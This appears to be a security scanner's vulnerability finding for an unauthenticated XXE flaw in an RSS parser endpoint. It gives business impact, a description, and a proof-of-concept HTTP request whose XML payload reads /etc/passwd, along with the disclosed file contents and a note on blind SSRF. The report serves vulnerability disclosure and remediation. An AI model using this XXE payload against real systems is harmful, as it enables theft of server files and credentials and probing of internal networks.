Unauthenticated XXE in rss_parser.php xml_content parameter (arbitrary file read and SSRF)
/rss_parser.phpAttack Path
Business Impact
An unauthenticated attacker on the public internet can read arbitrary server files, potentially exposing database credentials, application secrets, and other sensitive configuration that enables full server compromise. The blind SSRF capability also allows attackers to probe and attack internal network services behind the perimeter. Successful exploitation could lead to large-scale data breaches, compliance violations, and operational disruption.
Description
rss_parser.php parses the user-supplied xml_content POST parameter with an XML parser that has external entity loading enabled (libxml < 2.9 default behavior, libxml_disable_entity_loader not called). An attacker can declare a DOCTYPE with a SYSTEM external entity such as file:///etc/passwd, and the server resolves the entity server-side, rendering the file's contents into the Parsed Feed Items output. No authentication is required, and the same parser can be abused for blind SSRF via http:// SYSTEM entities.
Proof of Concept
Setup
No authentication required - endpoint is public. Send a URL-encoded POST with a DOCTYPE declaring a SYSTEM external entity.
Exploit
POST /rss_parser.php HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded
xml_content=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+rss+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Crss+version%3D%222.0%22%3E%3Cchannel%3E%3Ctitle%3E%26xxe%3B%3C%2Ftitle%3E%3C%2Fchannel%3E%3C%2Frss%3E
(Decoded: <?xml version="1.0"?><!DOCTYPE rss [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><rss version="2.0"><channel><title>&xxe;</title></channel></rss>)
Verification
Response is 200 OK and the entity expansion is rendered verbatim in the parsed-feed card title:
<h5 class="card-title">[Channel] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin</h5>
The full 19-line /etc/passwd was disclosed, proving the parser resolves external SYSTEM entities with the file:// protocol.
Cleanup
No state was persisted.
Observed Behavior
A POST of a DOCTYPE-declared external entity referenced as &xxe; inside <title> was expanded by the server-side parser, and the response's Parsed Feed Items card rendered the entire /etc/passwd contents. A control request with valid non-entity RSS parsed normally and a JSON body produced no parsed items, confirming this is an XML entity-expansion sink, not a generic text reflection.
Attack Scenarios
- 1
An attacker can read arbitrary local files from the public internet, including configuration files with database credentials or /etc/shadow if readable.
- 2
An attacker can probe the internal network via http:// SYSTEM entities, achieving blind SSRF through the XML parser.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app